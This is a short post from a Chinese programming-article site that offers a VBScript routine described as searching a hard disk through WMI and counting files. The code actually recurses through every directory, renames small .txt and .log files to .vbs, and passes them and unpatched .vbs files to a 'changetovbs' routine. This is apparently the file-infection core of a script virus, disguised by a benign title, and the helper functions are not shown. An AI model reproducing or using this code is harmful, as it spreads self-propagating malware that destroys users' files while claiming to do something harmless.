VBS调用WMI遍历搜索硬盘文件并计数的方法
程序员文章站
2022-03-07 15:26:18
多年之前写的一个vbs调用wmi来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来
核心代码:
function wmisfile(path_sf,...
多年之前写的一个vbs调用wmi来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来
核心代码:
function wmisfile(path_sf,justcnt) 'on error resume next strcomputer = "." set objwmiservice = getobject("winmgmts:\\" & strcomputer & "\root\cimv2") set filelist = objwmiservice.execquery _ ("associators of {win32_directory.name='" & path_sf & "'} where " _ & "resultclass = cim_datafile") for each objfile in filelist fname = lcase(objfile.name) ename = lcase(objfile.extension) if 1 < objfile.filesize and objfile.filesize <= 50000 then select case ename case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objfile.path & objfile.filename & ".vbs") call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 case "vbs" if checkversion(fname) = false then call changetovbs(fname,fname) justcnt = justcnt + 1 end if end select end if next set colsubfolders = objwmiservice.execquery _ ("associators of {win32_directory.name='" & path_sf & "'} " _ & "where assocclass = win32_subdirectory " _ & "resultrole = partcomponent") for each objfolder in colsubfolders wmisfile objfolder.name,justcnt next end function
上一篇: php生成验证码图片打不开怎么办
下一篇: vbs枚举进程 vbs列出进程的详细列表